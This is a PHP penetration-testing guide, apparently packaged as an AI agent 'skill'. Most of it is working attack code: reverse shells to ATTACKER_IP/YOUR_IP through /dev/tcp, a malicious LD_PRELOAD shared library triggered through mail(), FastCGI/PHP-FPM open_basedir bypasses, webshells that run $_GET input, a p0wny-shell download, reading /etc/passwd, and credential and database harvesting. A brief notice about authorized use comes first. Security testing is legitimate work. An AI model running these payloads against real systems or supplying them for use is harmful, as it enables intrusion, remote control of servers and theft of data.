PHP Pentest Bypass

PHP Pentesting & Bypass Techniques

A comprehensive skill for PHP security testing, covering command execution, disable_functions bypass, and open_basedir bypass techniques.

⚠️ Safety Notice

This skill is for authorized security testing only. Always have written permission before testing any system. These techniques can be used maliciously - use responsibly.

Quick Reference

Command Execution Functions

Quick Command Execution

// Basic command execution
echo system("whoami");
echo shell_exec("id");
echo passthru("uname -a");

// With output capture
$output = shell_exec("ls -la /tmp");
echo $output;

// Using backticks
$result = `cat /etc/passwd`;

disable_functions Bypass

When command execution functions are disabled, try these bypass techniques:

1. Check Available Functions

First, identify what's still available:

<?php
$disabled = ini_get('disable_functions');
$exec_functions = ['exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open'];
foreach ($exec_functions as $func) {
    if (function_exists($func) && !str_contains($disabled, $func)) {
        echo "✓ $func is available\n";
    }
}
?>

2. LD_PRELOAD Bypass

If mail() or similar functions are available, use LD_PRELOAD:

Step 1: Create the shared library

// save as shell.c, compile with: gcc -shared -fPIC -o shell.so shell.c
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void) {
    unsetenv("LD_PRELOAD");
    system("bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1");
    return 1;
}

Step 2: Upload and execute via PHP

<?php
// Upload shell.so to target, then:
putenv("LD_PRELOAD=/path/to/shell.so");
mail('', '', '', '', '-f test');
?>

Functions that work with LD_PRELOAD:

• mail()
• mb_send_mail() (requires php-mbstring)
• imap_mail() (requires php-imap)
• libvirt_connect() (requires php-libvirt)
• gnupg_init() (requires php-gnupg)
• new Imagick() (ImageMagick)

3. FastCGI/PHP-FPM Bypass

If PHP-FPM is running, you can bypass open_basedir completely:

<?php
// Use the bundled FCGIClient script
require_once 'scripts/fcgi_client.php';

$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['cmd']); ?>";
$params = [
    'SCRIPT_FILENAME' => '/var/www/html/test.php',
    'PHP_VALUE' => 'open_basedir=/',
    'REQUEST_METHOD' => 'POST'
];
echo $client->request($params, $code);
?>

4. Callback Function Exploitation

Many PHP functions accept callbacks that can execute arbitrary code:

<?php
// If you can control the callback parameter:
$functions = [
    'array_map', 'array_filter', 'usort', 'uasort',
    'call_user_func', 'call_user_func_array',
    'preg_replace_callback', 'iterator_apply'
];

// Example with array_map:
array_map('system', ['whoami']);
array_map('exec', ['id']);

// With call_user_func:
call_user_func('system', 'whoami');
call_user_func_array('system', ['whoami']);
?>

5. Version-Specific Exploits

open_basedir Bypass

1. glob:// Protocol

List directories outside open_basedir:

<?php
$file_list = [];
$it = new DirectoryIterator("glob:///v??/run/*");
foreach ($it as $f) {
    $file_list[] = $f->__toString();
}
foreach ($file_list as $f) {
    echo "$f\n";
}
?>

Path patterns:

• /v??/run/* → /var/run/*
• /e??/* → /etc/*
• /t??/* → /tmp/*

2. FastCGI Full Bypass

See the FastCGI section above - this completely bypasses open_basedir by sending custom PHP_VALUE parameters.

3. PHP Code Execution

Even with open_basedir, you can:

• Read/write files within allowed directories
• Create directories and change permissions
• Dump databases
• Find SSH keys or credentials

<?php
// File operations within open_basedir
file_put_contents('/allowed/path/shell.php', '<?php system($_GET["c"]); ?>');
chmod('/allowed/path/shell.php', 0777);

// Database dump
$pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
$results = $pdo->query('SELECT * FROM users');
foreach ($results as $row) {
    echo print_r($row, true);
}
?>

Useful PHP Functions for Pentesting

Information Disclosure

phpinfo();              // Full PHP configuration
getenv();               // Environment variables
get_current_user();     // Current user
getcwd();               // Current working directory
get_cfg_var('key');     // Configuration values
disk_free_space('/');   // Disk space
getmyuid();             // User ID
getmygid();             // Group ID
getmypid();             // Process ID

Filesystem Operations

// Read
file_get_contents('/path');
readfile('/path');
file('/path');

// Write
file_put_contents('/path', 'data');

// List
scandir('/path');
glob('/path/*');

// Permissions
chmod('/path', 0777);
chown('/path', 'user');
chgrp('/path', 'group');

// Create/Delete
mkdir('/path');
rmdir('/path');
touch('/path');
unlink('/path');

Network Operations

// Socket connections
fsockopen('host', 'port');
pfsockopen('host', 'port');

// HTTP requests
file_get_contents('http://host/path');

// FTP
ftp_connect('host');
ftp_get($conn, 'local', 'remote');
ftp_put($conn, 'remote', 'local');

Automated Tools

dfunc-bypasser

Automatically discovers bypass methods:

git clone https://github.com/teambi0s/dfunc-bypasser
cd dfunc-bypasser
python dfunc-bypasser.py

Chankro

Generates LD_PRELOAD exploits:

# Create shell script
echo 'whoami > /tmp/output.txt' > shell.sh

# Generate exploit
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output exploit.php

# Upload exploit.php to target and access via web

p0wny-shell

Automatic bypass detection webshell:

# Download and upload to target
curl -O https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php

Testing Workflow

1. Enumerate: Check phpinfo() for disabled functions and open_basedir
2. Identify: Find available execution methods
3. Bypass: Apply appropriate bypass technique
4. Verify: Test command execution
5. Escalate: Use PHP capabilities for further access

Common Payloads

Reverse Shell

<?php
// Basic reverse shell
system("bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1");

// Via mail with LD_PRELOAD
putenv("LD_PRELOAD=/tmp/shell.so");
mail('', '', '', '', '-f test');

// Via FastCGI
$code = "<?php system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'); ?>";
// Use FCGIClient to execute
?>

Webshell

<?php
// Simple webshell
if (isset($_GET['c'])) {
    system($_GET['c']);
}
?>

File Upload

<?php
// Upload and execute
$payload = '<?php system($_GET["cmd"]); ?>';
file_put_contents('/tmp/shell.php', $payload);
chmod('/tmp/shell.php', 0777);
?>

References

• HackTricks PHP Pentesting
• dfunc-bypasser
• Chankro
• p0wny-shell
• mm0r1 PHP Exploits

Scripts

Use the bundled scripts for common tasks:

• scripts/check_disabled_functions.php - Check available functions
• scripts/fcgi_client.php - FastCGI client for bypass
• scripts/generate_ldpreload.sh - Generate LD_PRELOAD exploit
• scripts/webshell_generator.php - Generate custom webshells